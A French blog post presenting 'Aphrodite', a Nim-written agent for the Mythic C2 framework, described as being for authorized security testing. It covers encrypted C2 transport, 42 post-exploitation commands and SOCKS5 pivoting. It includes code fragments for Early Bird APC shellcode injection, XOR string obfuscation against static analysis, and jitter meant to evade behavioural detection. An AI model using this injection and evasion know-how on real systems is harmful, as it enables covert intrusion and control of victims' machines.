L'idée
Tout a commencé en lisant l'article de Scottie Austin sur Athena, son agent Mythic écrit en .NET 6. Ce qui m'avait marqué, c'était sa démarche : prendre Mythic comme base pour ne pas avoir à gérer l'UI et le back-end, et se concentrer sur l'agent lui-même. J'avais exactement la même envie. Coder un agent C2, comprendre comment ça marche de l'intérieur, sans passer des semaines sur du front-end.
Athena m'a beaucoup appris sur la structure d'un agent Mythic. J'ai épluché son code pour comprendre le protocole de checkin, le format des messages, comment les commandes sont dispatchées. Mais j'avais envie de faire quelque chose de différent sur la stack technique. Athena repose sur .NET 6, ce qui est une excellente idée pour quelqu'un à l'aise avec C#. Moi, j'avais envie d'explorer Nim, un langage que je trouvais particulièrement bien adapté à cet use-case : compilation vers du C natif, pas de runtime, et un cross-compile vers Windows depuis Linux qui fonctionne vraiment.
Les objectifs étaient clairs dès le départ. Un binaire natif sans dépendances sur la cible, support Linux et Windows depuis le même codebase, un modèle de chiffrement sérieux avec échange de clé à runtime, et assez de commandes pour être utile en opération réelle. Pas de plugin system ni de chargement dynamique, à l'inverse d'Athena. Tout est compilé statiquement. Moins flexible sur le papier, mais beaucoup plus simple à maintenir et à prédire.
Le nom vient de la déesse grecque de la beauté. Un binaire natif compilé proprement, c'est quand même plus élégant qu'un interpréteur embarqué.
Sommaire
- Qu'est-ce qu'Aphrodite ?
- Installation
- Profils C2 : HTTP et WebSocket
- Modèle de chiffrement : PSK, EKE, Plaintext
- Obfuscation des strings
- Commandes
- Early Bird APC injection (Windows)
- SOCKS5
- Options de build
- Considérations OPSEC
- Limitations et TODO
1. Qu'est-ce qu'Aphrodite ?
Aphrodite est un agent Mythic C2 léger, cross-platform, écrit en Nim et conçu pour Mythic 3.0+. Il se compile vers un binaire natif, sans aucun runtime Nim ni dépendance sur la cible. Linux et Windows sont supportés depuis le même codebase, et les binaires Windows sont cross-compilés depuis Linux via mingw-w64.
L'agent supporte deux profils C2 (HTTP et WebSocket), trois modes de chiffrement (PSK, EKE, plaintext), une double couche d'obfuscation des strings, et 42 commandes built-in couvrant la reconnaissance, les opérations filesystem, l'exécution, le transfert de fichiers, la gestion de l'environnement et le contrôle de l'agent.
gcc est utilisée. Sur Windows (cross-compile depuis Linux), x86_64-w64-mingw32-gcc prend le relais. Au final, on obtient un ELF ou un PE autonome, sans interpréteur.La structure du projet côté agent code suit une organisation par responsabilité :
Arborescence agent_code/src/
src/
├── aphrodite.nim # Point d'entrée, instancie et lance l'agent
├── config.nim # Généré au build : UUID, C2 URL, PSK, killdate...
├── core/
│ ├── agent.nim # Boucle principale C2, checkin, dispatch des tasks
│ ├── jobs.nim # Gestionnaire de jobs interactifs (shell sessions)
│ ├── types.nim # Types partagés (AgentState, TaskResult, SendMsg...)
│ └── utils.nim # Helpers système (username, hostname, IP, PID...)
├── crypto/
│ ├── aes.nim # AES-256-CBC + HMAC-SHA256 (chiffrement des messages)
│ ├── eke.nim # EKE, échange de clé RSA-2048 via OpenSSL
│ ├── obf.nim # Déobfuscation runtime des config strings (XOR / AES)
│ └── strenc.nim # Macro hidstr, obfuscation compile-time des strings
├── transport/
│ ├── http.nim # Transport HTTP (POST, format Mythic)
│ └── websocket.nim # Transport WebSocket (RFC 6455 minimal, stdlib only)
├── proxy/
│ ├── socks5.nim # Parser SOCKS5 CONNECT (RFC 1928)
│ └── socks_mgr.nim # Gestionnaire de connexions TCP pour le proxy
└── commands/
├── registry.nim # Registre des commandes (map nom -> handler)
├── filesystem/ # ls, cat, cd, pwd, mkdir, rm, mv, cp, tail, chmod...
├── recon/ # whoami, ps, hostname, ifconfig, arp, nslookup...
├── execution/ # shell, psh, sudo, runas, earlybird
├── transfer/ # download, upload
├── env/ # env, getenv, setenv
└── control/ # sleep, exit, kill, echo, socks, jobs, jobkill, config2. Installation
Depuis un serveur Mythic déjà installé, une seule commande suffit :
Installation depuis GitHub
cd /opt/Mythic
./mythic-cli install github https://github.com/0xbbuddha/aphroditeMythic télécharge le repo, build l'image Docker du container Aphrodite, et enregistre le payload type dans l'interface. Une fois installé, Aphrodite apparaît dans Payload Types et est prêt à être utilisé pour générer des payloads.
Note sur nimcrypto : la bibliothèque nimcrypto est nécessaire pour le chiffrement AES. Le builder vérifie sa présence dans /opt/nim/lib/nimcrypto/ au moment du build. Si elle est absente (container non rebuild depuis une modification du Dockerfile), le build échoue avec un message explicite :
Résultat
Error: nimcrypto not found at /opt/nim/lib/nimcrypto/.
Run in the container:
git clone --depth 1 https://github.com/cheatfate/nimcrypto.git /tmp/nc
cp -r /tmp/nc/nimcrypto /opt/nim/lib/nimcrypto
Or rebuild the container: sudo ./mythic-cli build aphrodite3. Profils C2 : HTTP et WebSocket
Aphrodite supporte deux profils C2. Le profil est sélectionné au moment de la génération du payload dans l'UI Mythic. Un seul profil par binaire, compilé via flag de compilation Nim.
HTTP
Le transport HTTP utilise le profil HTTP standard de Mythic. Toutes les communications passent par des POST. Le format des messages suit l'enveloppe Mythic :
Format d'un message HTTP (PSK mode)
POST /agent_endpoint HTTP/1.1
Content-Type: application/octet-stream
User-Agent: <configuré au build>
base64(
uuid[36 bytes] <- UUID de l'agent (padded avec )
IV[16 bytes] <- IV aléatoire AES-CBC
ciphertext[variable] <- JSON chiffré en AES-256-CBC
HMAC-SHA256[32 bytes] <- HMAC sur IV + ciphertext
)En mode plaintext (pas de PSK), l'enveloppe devient simplement base64(uuid[36] + json_bytes). Mythic reçoit, vérifie, décrypte, et renvoie une réponse dans le même format.
WebSocket
Le transport WebSocket maintient une connexion persistante vers le serveur Mythic. L'implémentation utilise uniquement la stdlib Nim, sans dépendance externe. C'est un RFC 6455 minimal, suffisant pour les échanges avec Mythic. L'enveloppe des messages suit le format Mythic WebSocket :
Enveloppe WebSocket
// Envoi agent -> Mythic
{"client": true, "data": "<base64_uuid_encrypted>", "tag": ""}
// Réception Mythic -> agent
{"client": false, "data": "<base64_uuid_encrypted>", "tag": ""}Le contenu du champ data est identique au body HTTP, même format d'enveloppe uuid + chiffrement. Le transport est complètement transparent pour le reste de l'agent.
Le profil est sélectionné à la compilation via un define Nim :
Sélection du profil C2 à la compilation
# HTTP (défaut)
nim c src/aphrodite.nim
# WebSocket
nim c -d:c2ProfileWs src/aphrodite.nim4. Modèle de chiffrement : PSK, EKE, Plaintext
Aphrodite supporte trois modes de chiffrement, configurés dans l'UI Mythic au moment de la génération du payload.
| Mode | Description | Plateformes |
|---|---|---|
PSK | AES-256-CBC + HMAC-SHA256, clé pré-partagée compilée dans le binaire | Linux, Windows |
EKE | Échange de clé RSA-2048 au staging, clé AES de session négociée à runtime | Linux uniquement |
Plaintext | Pas de chiffrement (AESPSK vide), pour le lab et le debug uniquement | Linux, Windows |
PSK (Pre-Shared Key)
La clé AES est générée par Mythic, encodée en base64, et compilée dans le binaire via config.nim. Au démarrage, l'agent décode la clé base64 et l'utilise pour chiffrer tous les messages. Le schéma est AES-256-CBC avec un IV aléatoire par message, et HMAC-SHA256 pour l'intégrité.
Dans l'UI Mythic, PSK correspond à décocher Encrypted Key Exchange dans les paramètres du profil C2.
EKE (Encrypted Key Exchange)
Le mode EKE suit le protocole staging_rsa de Mythic. L'agent génère une paire RSA-2048 à runtime via OpenSSL, envoie sa clé publique au serveur Mythic, et reçoit en retour une clé AES de session chiffrée avec cette clé publique. Toutes les communications suivantes utilisent cette clé AES négociée.
core/agent.nim : séquence EKE (staging_rsa)
// 1. Générer la paire RSA-2048
var ctx = ekaGenerate()
// 2. Envoyer la clé publique (DER base64) au serveur
let jsonBody = {"action": "staging_rsa",
"pub_key": ctx.ekaPublicKeyB64(),
"session_id": sessionId}
// 3. Mythic retourne : uuid + session_key chiffrée RSA-OAEP
let aesKey = ctx.ekaDecryptSessionKey(resp["session_key"])
// 4. Toutes les comms suivantes utilisent aesKey (AES-256-CBC)L'initialisation EKE nécessite OpenSSL au link. Pour les targets Linux, OpenSSL est linké statiquement dans le binaire (-Wl,-Bstatic -lssl -lcrypto). La chaîne mingw-w64 utilisée pour cross-compiler vers Windows n'embarque pas OpenSSL, donc EKE est automatiquement désactivé sur les builds Windows. Le builder le signale et bascule en PSK.
5. Obfuscation des strings
Aphrodite utilise deux couches d'obfuscation indépendantes.
Couche 1 : hidstr (toujours active)
hidstr est une macro Nim qui chiffre chaque string littérale à la compilation par XOR avec une clé dérivée de la position. À runtime, la chaîne est décodée juste avant utilisation. Aucune string en clair n'apparaît dans le binaire compilé.
crypto/strenc.nim : macro hidstr
macro hidstr*(s: static string): string =
## Rolling key: k(i) = 0x5F xor byte((i * 7) and 0xFF)
## Chaque byte XOR'd au compile-time, décodé au runtime.
let n = s.len
var arrNode = nnkBracket.newTree()
for i in 0..<n:
let k = byte(0x5F) xor byte((i * 7) and 0xFF)
arrNode.add(newLit(byte(s[i]) xor k))
result = quote do:
block:
const enc: array[`nLit`, byte] = `arrNode`
var dec = newString(`nLit`)
for i in 0..<`nLit`:
dec[i] = char(enc[i] xor (byte(0x5F) xor byte((i * 7) and 0xFF)))
decCette macro est utilisée sur toutes les strings sensibles du codebase : noms de commandes, clés de protocole Mythic (checkin, get_tasking, staging_rsa), syscalls (/bin/sh -c, cmd.exe /c, hostname, id -un), noms de variables d'environnement, etc.
Exemple d'utilisation dans le codebase
// strings(1) ne verra aucune de ces chaînes en clair
proc getUsername*(): string =
result = getEnv(hidstr("USER"), getEnv(hidstr("LOGNAME"), ""))
proc getHostname*(): string =
let (output, _) = execCmdEx(hidstr("hostname"))
// Protocole Mythic, aussi obfusqué
let msg = %*{"action": hidstr("checkin"), "uuid": ag.payloadUUID}Couche 2 : obfuscation des config strings (optionnelle)
En parallèle, le builder peut encoder les valeurs de configuration (C2 URL, UUID, PSK, killdate, User-Agent) dans config.nim avant compilation. L'option obfuscation au build accepte trois valeurs :
| Option | Comportement |
|---|---|
none | Strings de config en clair dans config.nim, protégées uniquement par hidstr |
xor | Strings de config XOR-encodées avec une clé aléatoire de 16 bytes, décodées à runtime via obf.nim |
aes | Strings de config chiffrées en AES-128-CBC, décodées à runtime via obf.nim |
L'encodage est fait par le builder Python au moment de la génération du payload, avec une clé et un IV aléatoires à chaque build. Deux binaires générés avec les mêmes paramètres auront des représentations différentes de leurs config strings dans le code objet.
config.nim généré en mode obfuscation=xor (extrait)
import crypto/obf
const
obfKey = [0x3a'u8, 0x7f'u8, 0x12'u8, ...] # clé aléatoire 16 bytes
encAgentUUID = [0x4e'u8, 0x2b'u8, 0x91'u8, ...] # UUID XOR-encodé
encC2BaseUrl = [0x71'u8, 0x05'u8, 0xc3'u8, ...] # URL XOR-encodée
...
let AgentUUID* = xorDecode(encAgentUUID, obfKey)
let C2BaseUrl* = xorDecode(encC2BaseUrl, obfKey)hidstr obfusque toutes les strings du code source au niveau macro Nim (toujours actif), et l'option obfuscation encode en plus les valeurs de configuration au niveau du builder Python. Un strings(1) sur le binaire final ne révèle ni les commandes, ni les clés de protocole, ni les paramètres de configuration.6. Commandes
Aphrodite embarque 42 commandes organisées en six catégories. Toutes sont enregistrées dans un registre central au démarrage de l'agent. Le dispatch se fait par lookup du nom de commande dans ce registre, sans aucun switch/case en dur.
Filesystem
| Commande | Description |
|---|---|
cat | Afficher le contenu d'un fichier |
cd | Changer de répertoire courant |
cp | Copier un fichier ou dossier |
mv | Déplacer / renommer |
rm | Supprimer un fichier ou dossier |
ls | Lister le contenu d'un répertoire |
mkdir | Créer un répertoire |
pwd | Afficher le répertoire courant |
tail | Afficher les dernières lignes d'un fichier |
find | Rechercher des fichiers par nom/pattern |
write | Écrire du contenu dans un fichier |
chmod | Modifier les permissions (Linux) |
chown | Modifier le propriétaire (Linux) |
drives | Lister les lecteurs montés |
Reconnaissance
| Commande | Description |
|---|---|
whoami | Utilisateur courant |
hostname | Nom de la machine |
ps | Lister les processus |
ifconfig | Interfaces réseau et adresses IP |
arp | Table ARP |
nslookup | Résolution DNS |
netstat | Connexions réseau actives |
uptime | Uptime du système |
Exécution
| Commande | Description | Plateformes |
|---|---|---|
shell | Exécuter une commande shell (/bin/sh ou cmd.exe) | Linux, Windows |
psh | Exécuter via PowerShell | Windows |
sudo | Exécuter avec sudo | Linux |
runas | Exécuter en tant qu'un autre utilisateur | Linux, Windows |
earlybird | Early Bird APC injection | Windows uniquement |
Transfert de fichiers
| Commande | Description |
|---|---|
download | Télécharger un fichier depuis la cible vers Mythic |
upload | Uploader un fichier de Mythic vers la cible |
wget | Télécharger une URL HTTP vers la cible |
curl | Effectuer une requête HTTP depuis la cible |
Environnement et contrôle
| Commande | Description |
|---|---|
env | Lister toutes les variables d'environnement |
getenv | Lire une variable d'environnement |
setenv | Définir une variable d'environnement |
sleep | Modifier l'intervalle de sleep et le jitter |
config | Afficher ou modifier la configuration de l'agent |
jobs | Lister les jobs interactifs actifs |
jobkill | Tuer un job interactif |
kill | Tuer un processus par PID |
echo | Retourner un message (test de connectivité) |
socks | Démarrer ou arrêter le proxy SOCKS5 |
exit | Terminer l'agent |
7. Early Bird APC injection (Windows)
La commande earlybird implémente la technique d'injection Early Bird APC, disponible uniquement sur les agents Windows. Le principe : créer un processus en état suspendu, y écrire du shellcode via WriteProcessMemory, queueer une APC sur le thread principal, puis résumer le processus. Le shellcode s'exécute avant même que le point d'entrée du processus ne soit appelé.
Séquence Early Bird (commands/execution/earlybird.nim)
// 1. Créer le processus cible en état suspendu
CreateProcessA(nil, processPath, ..., CREATE_SUSPENDED, ..., &pi)
// 2. Allouer de la mémoire RWX dans le processus cible
let remoteMem = VirtualAllocEx(pi.hProcess, nil, shellcode.len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
// 3. Écrire le shellcode dans la mémoire allouée
WriteProcessMemory(pi.hProcess, remoteMem, &shellcode[0], shellcode.len, &written)
// 4. Queueer une APC pointant vers le shellcode sur le thread suspendu
QueueUserAPC(remoteMem, pi.hThread, 0)
// 5. Résumer le processus, le shellcode s'exécute avant l'entry point
ResumeThread(pi.hThread)La commande prend deux paramètres : le chemin du processus cible et le shellcode encodé en base64. Le processus cible doit exister sur la machine (par exemple C:\Windows\System32\notepad.exe).
8. SOCKS5
Aphrodite supporte le proxy SOCKS5 intégré à Mythic. Une fois activé avec la commande socks start, l'agent agit comme relais TCP : les datagrams SOCKS5 arrivent via le canal C2 depuis Mythic, l'agent ouvre les connexions TCP correspondantes sur le réseau de la cible, et renvoie les données dans l'autre sens.
Activation du proxy SOCKS5
// Depuis l'UI Mythic
socks start // port par défaut Mythic
socks stop // arrêter le proxyL'implémentation parse les requêtes CONNECT SOCKS5 (RFC 1928) avec support IPv4, IPv6 et noms de domaine. Mythic gère la négociation SOCKS5 avec le client (proxychains, navigateur…). Le premier datagram reçu par l'agent est déjà la requête CONNECT parsée.
proxy/socks5.nim : types d'adresses supportés
case atyp
of 0x01: # IPv4, 4 bytes addr + 2 bytes port
let ip = $byte(data[4]) & "." & $byte(data[5]) & "." & ...
of 0x03: # Domain name, 1 byte length + N bytes + 2 bytes port
let host = data[5 ..< 5 + nameLen] # résolu par getAddrInfo
of 0x04: # IPv6, 16 bytes addr + 2 bytes port
...La boucle C2 principale intègre les datagrams SOCKS de manière native. Ils voyagent dans les mêmes messages get_tasking que les tâches normales, sous la clé socks du JSON Mythic.
9. Options de build
Les options de build sont configurables dans l'UI Mythic au moment de la génération du payload.
| Option | Type | Défaut | Description |
|---|---|---|---|
target_os | Choice | linux | Cible : linux ou windows |
architecture | Choice | amd64 | Architecture cible (amd64 uniquement) |
debug | Boolean | false | Active les logs verbeux dans l'agent (binaire plus gros) |
static_binary | Boolean | false | Link statique, aucune dépendance shared lib sur la cible |
obfuscation | Choice | none | Obfuscation des config strings : none, xor, ou aes |
En mode release (debug=false), Nim compile avec -d:release -d:strip, ce qui active les optimisations et supprime les symboles de debug. Le flag --opt:size est toujours présent pour minimiser la taille du binaire.
Commande nim générée par le builder (linux, PSK, xor)
nim c
--opt:size
--verbosity:0 --hints:off --warnings:off
--threads:on
-d:release -d:strip
-d:ssl
--out:/tmp/aphrodite_build_xxx/output/aphrodite
/tmp/aphrodite_build_xxx/aphrodite/src/aphrodite.nimPour les builds Windows (cross-compile), les flags mingw sont ajoutés automatiquement :
Flags supplémentaires pour Windows (cross-compile)
--os:windows --cpu:amd64 -d:mingw
--gcc.exe:x86_64-w64-mingw32-gcc
--gcc.linkerexe:x86_64-w64-mingw32-gcc
-d:ssl -d:useWinssl10. Considérations OPSEC
Binaire natif, pas de runtime
Pas d'interpréteur Python, pas de CLR .NET, pas de JVM. Le binaire Aphrodite est un ELF ou PE compilé natif. La surface de détection liée au runtime est nulle. Ça réduit aussi les artefacts système : pas de processus interpréteur visible dans la liste des processus.
strings(1) et analyse statique
Grâce à hidstr, un strings(1) sur le binaire ne révèle pas les noms de commandes, les clés de protocole Mythic, les syscalls utilisés, ni les paramètres de configuration (avec l'option obfuscation activée). L'analyse statique basique ne suffit pas pour comprendre le comportement de l'agent.
Kill date
Un kill date peut être configuré au build. À chaque itération de la boucle C2, l'agent vérifie la date courante et s'arrête proprement si elle est dépassée. Utile pour les opérations time-boxed et pour s'assurer qu'un agent oublié ne reste pas actif indéfiniment.
Sleep et jitter
L'intervalle de sleep et le pourcentage de jitter sont configurables au build et modifiables à runtime via la commande sleep. Un jitter de 20% sur un intervalle de 30 secondes introduit une variation aléatoire de ±6 secondes, suffisant pour casser les patterns de timing réguliers qu'une détection comportementale chercherait.
core/agent.nim : calcul du sleep avec jitter
proc sleepWithJitter(ag: AphroditeAgent) =
var ms = ag.state.sleepInterval * 1000
if ag.state.jitter > 0:
let reduction = int(float(ms) * float(ag.state.jitter) / 100.0 * rand(1.0))
ms = max(100, ms - reduction)
sleep(ms)Retry au checkin
Si le checkin échoue (serveur pas encore disponible, réseau instable), l'agent réessaie jusqu'à 10 fois avec un backoff linéaire de 5s par retry, plafonné à 60s. Après 10 tentatives sans succès, il s'arrête proprement.
11. Limitations et TODO
EKE Linux only
Le mode EKE nécessite OpenSSL au link et n'est supporté que pour les cibles Linux. Les builds Windows tombent automatiquement en PSK. Une solution serait d'utiliser une bibliothèque RSA pure-Nim sans dépendance OpenSSL, mais ça n'est pas encore implémenté.
Cross-compile Windows
Les binaires Windows sont cross-compilés depuis Linux avec mingw-w64. Certains edge cases autour des APIs Windows peuvent se comporter différemment d'une compilation native MSVC. À garder en tête si vous observez des comportements inattendus sur des versions spécifiques de Windows.
Browser scripts manquants
Certaines commandes retournent du texte brut alors qu'elles bénéficieraient d'une vue structurée dans l'UI Mythic. Les browser scripts JavaScript pour netstat, ifconfig et jobs ne sont pas encore implémentés.
Architecture amd64 uniquement
Seule l'architecture amd64 est supportée pour l'instant. Le support arm64 (Raspberry Pi, serveurs ARM) serait un ajout utile, notamment pour les environnements cloud.
Ce que j'en retire
Aphrodite n'est pas un projet one-shot qu'on publie et qu'on oublie. L'objectif est d'en faire un vrai agent maintenu, dans la lignée d'Athena. Il y a déjà une liste de choses à ajouter : loader, support EKE sur Windows, browser scripts, arm64... et probablement des bugs que je n'ai pas encore croisés. C'est pour ça que je l'ai publié plutôt que de le garder dans un coin.
Coder Aphrodite m'a surtout appris comment Mythic fonctionne vraiment de l'intérieur : staging, checkin, dispatch des tasks, format des réponses, SOCKS, interactive jobs. L'article d'Athena m'avait donné envie de me lancer, mais c'est en implémentant chaque message JSON moi-même que j'ai vraiment compris comment le framework tourne.
Nim s'est avéré un bon choix. La compilation vers du C natif donne un binaire propre, le cross-compile vers Windows fonctionne sans friction, et le système de macros permet d'implémenter hidstr de manière transparente. Le seul vrai point de friction reste la gestion d'OpenSSL pour EKE, qui ne scale pas vers Windows. C'est sur ma liste.
Un merci à Scottie Austin pour Athena et à its-a-feature pour Mythic. Sans ces deux projets, Aphrodite n'existerait pas.
Le code source est disponible sur github.com/0xbbuddha/aphrodite. Pour authorized security testing uniquement.